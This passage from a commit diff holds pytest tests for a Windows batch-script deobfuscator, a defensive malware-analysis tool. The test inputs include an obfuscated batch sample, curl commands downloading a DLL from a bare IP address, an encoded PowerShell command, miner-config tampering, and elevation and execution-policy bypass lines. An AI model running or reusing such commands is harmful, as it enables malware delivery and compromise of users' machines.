17,1%%':~148,1%%':~17,1%%':~17,1%%':~17,1%%':~113,1%%':~17,1%%':~17,1%%':~-143,1%%':~111,1%%':~17,1%%':~17,1%%':~-143,1%%':~-60,1%%':~12,1%%':~17,1%%':~-143,1%%':~-143,1%%':~-17,1%%':~17,1%%':~17,1%%':~17,1%%':~5,1%%':~28,1%%':~-143,1%%':~-143,1%%':~17,1%%':~80,1%%':~17,1%%':~-143,1%%':~17,1%%':~91,1%%':~-130,1%%':~-143,1%%':~17,1%%':~17,1%%':~157,1%%':~70,1%%':~17,1%%':~-143,1%%':~17,1%%':~-138,1%%':~39,1%%':~-143,1%%':~-143,1%%':~17,1%%':~-84,1%%':~17,1%%':~-143,1%%':~-143,1%%':~121,1%%':~-153,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~109,1%%':~-143,1%%':~-143,1%%':~17,1%%':~58,1%%':~-143,1%%':~17,1%%':~17,1%%':~-41,1%%':~-143,1%%':~17,1%%':~17,1%%':~-15,1%%':~-143,1%%':~17,1%%':~17,1%%':~-104,1%%':~17,1%%':~17,1%%':~17,1%%':~17,1%%':~17,1%%':~17,1%%':~-143,1%%':~-57,1%%':~52,1%%':~-145,1%%':~-143,1%%':~17,1%%':~-143,1%%':~128,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~115,1%%':~17,1%%':~-143,1%%':~-143,1%%':~38,1%%':~98,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~-119,1%%':~-143,1%%':~-143,1%%':~17,1%%':~74,1%%':~17,1%%':~17,1%%':~-143,1%%':~-67,1%%':~42,1%%':~-143,1%%':~17,1%%':~17,1%%':~-8,1%%':~17,1%%':~-143,1%%':~-143,1%%':~51,1%%':~85,1%%':~-135,1%%':~-143,1%%':~17,1%%':~17,1%%':~105,1%%':~-91,1%%':~17,1%%':~17,1%%':~17,1%%':~-128,1%%':~-140,1%%':~-143,1%%':~17,1%%':~17,1%%':~-106,1%%':~-117,1%%':~17,1%%':~-143,1%%':~17,1%%':~159,1%%':~17,1%%':~-143,1%%':~-143,1%%':~49,1%%':~17,1%%':~-143,1%%':~-143,1%%':~-133,1%%':~-143,1%%':~-143,1%%':~-143,1%%':~3,1%%':~-143,1%%':~17,1%%':~17,1%%':~68,1%%':~-143,1%%':~17,1%%':~-143,1%%':~-141,1%%':~-154,1%%':~17,1%%':~-143,1%%':~-143,1%%':~154,1%%':~-143,1%%':~-143,1%%':~17,1%%':~-71,1%%':~17,1%%':~-143,1%%':~17,1%%':~107,1%%':~-96,1%%':~101,1%%':~-76,1%%':~-143,1%%':~17,1%%':~17,1%%':~-20,1%%':~-131,1%%':~17,1%%':~17,1%%':~-143,1%%':~78,1%%':~155,1%%':~17,1%%':~-143,1%%':~17,1%%':~-26,1%%':~-143,1%%':~17,1%%':~-143,1%%':~63,1%%':~17,1%%':~-143,1%%':~-143,1%%':~-151,1%%':~17,1%%':~17,1%%':~17,1%%':~83,1%%':~-143,1%%':~17,1%%':~17,1%%':~-113,1%%':~-143,1%%':~17,1%%':~-143,1%%':~-10,1%%':~17,1%%':~17,1%%':~17,1%%':~-24,1%%':~17,1%%':~17,1%%':~17,1%%':~11,1%%':~122,1%%':~-143,1%%':~17,1%%':~-143,1%%':~-159,1%%':~-143,1%%':~17,1%%':~-143,1%%':~-146,1%%':~-143,1%%':~17,1%%':~17,1%%':~-43,1%%':~17,1%%':~-143,1%%':~17,1%%':~130,1%%':~17,1%%':~17,1%%':~-143,1%%':~-115,1%%':~-143,1%%':~17,1%%':~17,1%%':~34,1%%':~22,1%%':~-124,1%%':~43,1%%':~-96,1%%':~-154,1%%':~89,1%%':~-145,1%%':~98,1%%':~-82,1%%':~-5,1%%':~42,1%%':~-138,1%%':~36,1%%':~-117,1%%':~64,1%%':~6,1%%':~89,1%%':~-8,1%%':~97,1%%':~47,1%%':~132,1%%':~27,1%%':~78,1%%':~83,1%%':~-140,1%%':~39,1%%':~-32,1%%':~-118,1%%':~22,1%%':~-124,1%%':~-117,1%%':~64,1%%':~-154,1%%':~-79,1%%':~70,1%%':~61,1%%':~39,1%%':~-79,1%%':~89,1%%':~-96,1%%':~-38,1%%':~-121,1%%':~-148,1%%':~81,1%%':~64,1%%':~141,1%%':~64,1%%':~81,1%%':~-121,1%%':~85,1%%':~64,1%%':~141,1%%':~64,1%%':~-5,1%%':~30,1%%':~-121,1%%':~122,1%%':~43,1%%':~-135,1%%':~-90,1%%':~-38,1%%':~22,1%%':~-96,1%%':~-38,1%%':~-19,1%%':~-79,1%%':~-99,1%%':~-90,1%%':~-121,1%%':~-79,1%%':~89,1%%':~56,1%%':~134,1%%':~-38,1%%':~7,1%%':~81,1%%':~-138,1%%':~-138,1%%':~36,1%%':~64,1%%':~61,1%%':~84,1%%':~-90,1%%':~143,1%%':~134,1%%0 %':~-138,1%%':~-138,1%%':~36,1%%':~-117,1%%':~64,1%%':~6,1%%':~89,1%%':~-130,1%%':~-30,1%%':~-76,1%%':~69,1%%':~-82,1%%':~-136,1%%':~85,1%%':~-138,1%%':~36,1%%':~43,1%%':~64,1%%':~-154,1%%':~89,1%%':~-36,1%%':~39,1%%':~27,1%%':~70,1%%':~78,1%%':~119,1%%':~61,1%%':~20,1%%':~-138,1%%':~-124,1%%':~-117,1%%':~64,1%%':~-154,1%%':~-71,1%%':~85,1%%':~-91,1%%':~72,1%%':~78,1%%':~119,1%%':~63,1%%':~-5,1%%':~22,1%%':~36,1%%':~-117,1%%':~-76,1%%':~-153,1%%':~-154,1%%':~-19,1%%':~70,1%%':~-14,1%%':~-38,1%%':~89,1%%':~-141,1%%':~43,1%%':~-71,1%%':~-141,1%%':~52,1%%':~89,1%%':~19,1%%':~-154,1%%':~89,1%%':~51,1%%':~-138,1%%':~22,1%%':~36,1%%':~-117,1%%':~64,1%%':~6,1%%':~89,1%%':~7,1%%':~119,1%%':~-88,1%%':~-106,1%%':~72,1%%':~-82,1%%':~-77,1%%':~-153,1%%':~-138,1%%':~-124,1%%':~64,1%%':~-5,1%%':~-135,1%%':~-154,1%%':~22,1%%':~22,1%%':~-124,1%%':~64,1%%':~-99,1%%':~84,1%%':~70,1%%':~-71,1%%':~-69,1%" # noqa: E501 |
| 400 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 401 | + for cmd3 in deobfuscator.get_commands(cmd2): |
| 402 | + cmd4 = deobfuscator.normalize_command(cmd3) |
| 403 | + deobfuscator.interpret_command(cmd4) |
| 404 | + |
| 405 | + assert deobfuscator.variables["'"].endswith("^N^F^*") |
| 406 | + |
| 407 | + @staticmethod |
| 408 | + def test_special_char_var_name(): |
| 409 | + cmd = '@set "ò=BbQw2 1zUta9gCFolxZSYMRJ8jE6ITy7V@md3K0XDkvWr5PN4uecHqpLnOisAfGh"' |
| 410 | + deobfuscator = BatchDeobfuscator() |
| 411 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 412 | + deobfuscator.interpret_command(cmd2) |
| 413 | + |
| 414 | + cmd = "%ò:~33,1%%ò:~50,1%%ò:~51,1%%ò:~63,1%%ò:~15,1%%ò:~5,1%%ò:~15,1%%ò:~61,1%%ò:~61,1%" |
| 415 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 416 | + assert cmd2 == "@echo off" |
| 417 | + |
| 418 | + @staticmethod |
| 419 | + def test_rem_skip(): |
| 420 | + deobfuscator = BatchDeobfuscator() |
| 421 | + |
| 422 | + cmd = "set EXP=value" |
| 423 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 424 | + deobfuscator.interpret_command(cmd2) |
| 425 | + |
| 426 | + cmd = "echo *%EXP%*" |
| 427 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 428 | + deobfuscator.interpret_command(cmd2) |
| 429 | + |
| 430 | + assert cmd2 == "echo *value*" |
| 431 | + |
| 432 | + cmd = "REM echo *%EXP%*" |
| 433 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 434 | + deobfuscator.interpret_command(cmd2) |
| 435 | + |
| 436 | + assert cmd2 == cmd |
| 437 | + |
| 438 | + @staticmethod |
| 439 | + def test_fun_var_replace(): |
| 440 | + deobfuscator = BatchDeobfuscator() |
| 441 | + |
| 442 | + cmd = "%comspec%" |
| 443 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 444 | + assert cmd2 == "C:\\WINDOWS\\system32\\cmd.exe" |
| 445 | + |
| 446 | + cmd = "%comspec:cmd=powershell%" |
| 447 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 448 | + assert cmd2 == "C:\\WINDOWS\\system32\\powershell.exe" |
| 449 | + |
| 450 | + @staticmethod |
| 451 | + @pytest.mark.skip() |
| 452 | + def test_bobbystacksmash(): |
| 453 | + # TODO: Improve deobfuscation |
| 454 | + # Some examples taken from https://github.com/bobbystacksmash/CMD-DeObfuscator |
| 455 | + deobfuscator = BatchDeobfuscator() |
| 456 | + |
| 457 | + # Empty string removal |
| 458 | + # https://github.com/bobbystacksmash/CMD-DeObfuscator#empty-string-removal |
| 459 | + cmd = 'pow""ersh""ell' |
| 460 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 461 | + assert cmd2 == "powershell" |
| 462 | + |
| 463 | + # String widening |
| 464 | + # https://github.com/bobbystacksmash/CMD-DeObfuscator#string-widening |
| 465 | + cmd = 'w"s"c"r"i"p"t' |
| 466 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 467 | + assert cmd2 == "wscript" |
| 468 | + |
| 469 | + # Path resolver |
| 470 | + # https://github.com/bobbystacksmash/CMD-DeObfuscator#path-resolver-coming-soon |
| 471 | + cmd = "C:\\foo\\bar\\baz\\..\\..\\..\\Windows\\System32\\cmd.exe" |
| 472 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 473 | + assert cmd2 == "C:\\Windows\\System32\\cmd.exe" |
| 474 | + |
| 475 | + @staticmethod |
| 476 | + def test_for(): |
| 477 | + deobfuscator = BatchDeobfuscator() |
| 478 | + cmd = "for /l %%x in (1, 1, 10) do echo %%x" |
| 479 | + cmd2 = list(deobfuscator.get_commands(cmd)) |
| 480 | + assert len(cmd2) == 3 |
| 481 | + assert cmd2 == ["for /l %%x in (1, 1, 10) do (", "echo %%x", ")"] |
| 482 | + |
| 483 | + @staticmethod |
| 484 | + @pytest.mark.parametrize( |
| 485 | + "cmd, download_trait", |
| 486 | + [ |
| 487 | + ( |
| 488 | + "curl.exe -LO https://www.7-zip.org/a/7z1805-x64.exe", |
| 489 | + {"src": "https://www.7-zip.org/a/7z1805-x64.exe", "dst": "7z1805-x64.exe"}, |
| 490 | + ), |
| 491 | + ( |
| 492 | + "curl.exe -o C:\\ProgramData\\output\\output.file 1.1.1.1/file.dat", |
| 493 | + {"src": "1.1.1.1/file.dat", "dst": "C:\\ProgramData\\output\\output.file"}, |
| 494 | + ), |
| 495 | + ( |
| 496 | + 'curl ""http://1.1.1.1/zazaz/p~~/Y98g~~/"" -o 9jXqQZQh.dll', |
| 497 | + {"src": "http://1.1.1.1/zazaz/p~~/Y98g~~/", "dst": "9jXqQZQh.dll"}, |
| 498 | + ), |
| 499 | + ], |
| 500 | + ) |
| 501 | + def test_interpret_curl(cmd, download_trait): |
| 502 | + deobfuscator = BatchDeobfuscator() |
| 503 | + deobfuscator.interpret_curl(cmd) |
| 504 | + assert len(deobfuscator.traits["download"]) == 1 |
| 505 | + assert deobfuscator.traits["download"][-1][1] == download_trait |
| 506 | + |
| 507 | + @staticmethod |
| 508 | + def test_double_double_quote_stripping(): |
| 509 | + deobfuscator = BatchDeobfuscator() |
| 510 | + cmd = deobfuscator.normalize_command('cmd /C "pow""ershell -e ZQBjAGgAbwAgACIAVwBpAHoAYQByAGQAIgA="') |
| 511 | + assert cmd == 'cmd /C "powershell -e ZQBjAGgAbwAgACIAVwBpAHoAYQByAGQAIgA="' |
| 512 | + |
| 513 | + @staticmethod |
| 514 | + @pytest.mark.parametrize( |
| 515 | + "cmd, exec_cmd", |
| 516 | + [ |
| 517 | + ('start /b cmd /c "echo Hi"', ["echo Hi"]), |
| 518 | + ('start /b /i cmd /c "echo Hi"', ["echo Hi"]), |
| 519 | + ('start /w cmd /c "echo Hi"', ["echo Hi"]), |
| 520 | + ('start/B /WAIT cmd /c "echo Hi"', ["echo Hi"]), |
| 521 | + ('start/WAIT /B cmd /c "echo Hi"', ["echo Hi"]), |
| 522 | + ], |
| 523 | + ) |
| 524 | + def test_interpret_start(cmd, exec_cmd): |
| 525 | + deobfuscator = BatchDeobfuscator() |
| 526 | + deobfuscator.interpret_command(cmd) |
| 527 | + assert len(deobfuscator.exec_cmd) == len(exec_cmd) |
| 528 | + for d_e_cmd, e_cmd in zip(deobfuscator.exec_cmd, exec_cmd): |
| 529 | + assert d_e_cmd == e_cmd |
| 530 | + |
| 531 | + @staticmethod |
| 532 | + def test_posix_powershell(): |
| 533 | + deobfuscator = BatchDeobfuscator() |
| 534 | + cmd = ( |
| 535 | + "powershell -Command \"$out = cat '%USERPROFILE%\\jin\\config.json' | " |
| 536 | + "%%{$_ -replace '\\\"donate-level\\\": *\\d*,', '\\\"donate-level\\\": 1,'} | " |
| 537 | + "Out-String; $out | Out-File -Encoding ASCII '%USERPROFILE%\\jin\\config.json'\" " |
| 538 | + ) |
| 539 | + deobfuscator.interpret_command(cmd) |
| 540 | + assert len(deobfuscator.exec_ps1) == 1 |
| 541 | + assert deobfuscator.exec_ps1[0] == ( |
| 542 | + b"$out = cat '%USERPROFILE%\\jin\\config.json' | " |
| 543 | + b"%%{$_ -replace '\"donate-level\": *\\d*,', '\"donate-level\": 1,'} | " |
| 544 | + b"Out-String; $out | Out-File -Encoding ASCII '%USERPROFILE%\\jin\\config.json'" |
| 545 | + ) |
| 546 | + deobfuscator.exec_ps1.clear() |
| 547 | + |
| 548 | + cmd = ( |
| 549 | + 'powershell -noprofile -command "&{start-process powershell -ArgumentList' |
| 550 | + ' \'-noprofile -file \\"%scriptPath%\\"\' -verb RunAs}"' |
| 551 | + ) |
| 552 | + deobfuscator.interpret_command(cmd) |
| 553 | + assert len(deobfuscator.exec_ps1) == 1 |
| 554 | + assert ( |
| 555 | + deobfuscator.exec_ps1[0] |
| 556 | + == b"&{start-process powershell -ArgumentList '-noprofile -file \"%scriptPath%\"' -verb RunAs}" |
| 557 | + ) |
| 558 | + |
| 559 | + @staticmethod |
| 560 | + @pytest.mark.skip() |
| 561 | + def test_non_posix_powershell(): |
| 562 | + deobfuscator = BatchDeobfuscator() |
| 563 | + |
| 564 | + # TODO: Find out how to parse this as non-posix with shlex without breaking all other cases |
| 565 | + # What to do with odd number of quotes. Shlex doesn't parse it perfectly. |
| 566 | + cmd = ( |
| 567 | + 'powershell -Command "Get-AppxPackage -Name "Microsoft.OneDriveSync" > ' |
| 568 | + '"%WORKINGDIRONEDRIVE%\\OneDriveSparsePackage.txt" 2>&1' |
| 569 | + ) |
| 570 | + deobfuscator.interpret_command(cmd) |
| 571 | + assert len(deobfuscator.exec_ps1) == 1 |
| 572 | + # assert deobfuscator.exec_ps1[0] == "Good command (with or without redirection)" |
| 573 | + deobfuscator.exec_ps1.clear() |
| 574 | + |
| 575 | + # TODO: Found out how to keep the \ from this command and keep posix style commands working |
| 576 | + cmd = r"PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\x64\ISO\x64.ps1" |
| 577 | + deobfuscator.interpret_command(cmd) |
| 578 | + assert len(deobfuscator.exec_ps1) == 1 |
| 579 | + assert deobfuscator.exec_ps1[0] == rb"C:\ProgramData\x64\ISO\x64.ps1" |
| 580 | + |
| 581 | + @staticmethod |
| 582 | + def test_anti_recursivity(): |
| 583 | + deobfuscator = BatchDeobfuscator() |
| 584 | + cmd = 'set "str=a"' |
| 585 | + deobfuscator.interpret_command(cmd) |
| 586 | + |
| 587 | + cmd = 'set "str=!str:"=\\"!"' |
| 588 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 589 | + deobfuscator.interpret_command(cmd2) |
| 590 | + |
| 591 | + cmd = "echo %str%" |
| 592 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 593 | + |
| 594 | + assert cmd2 == "echo a" |
| 595 | + |
| 596 | + @staticmethod |
| 597 | + def test_anti_recursivity_with_quotes(): |
| 598 | + deobfuscator = BatchDeobfuscator() |
| 599 | + cmd = 'set "str=a"a"' |
| 600 | + deobfuscator.interpret_command(cmd) |
| 601 | + |
| 602 | + cmd = 'set "str=!str:"=\\"!"' |
| 603 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 604 | + deobfuscator.interpret_command(cmd2) |
| 605 | + |
| 606 | + cmd = "echo %str%" |
| 607 | + cmd2 = deobfuscator.normalize_command(cmd) |
| 608 | + |
| 609 | + assert cmd2 == 'echo a\\"a' |
0 commit comments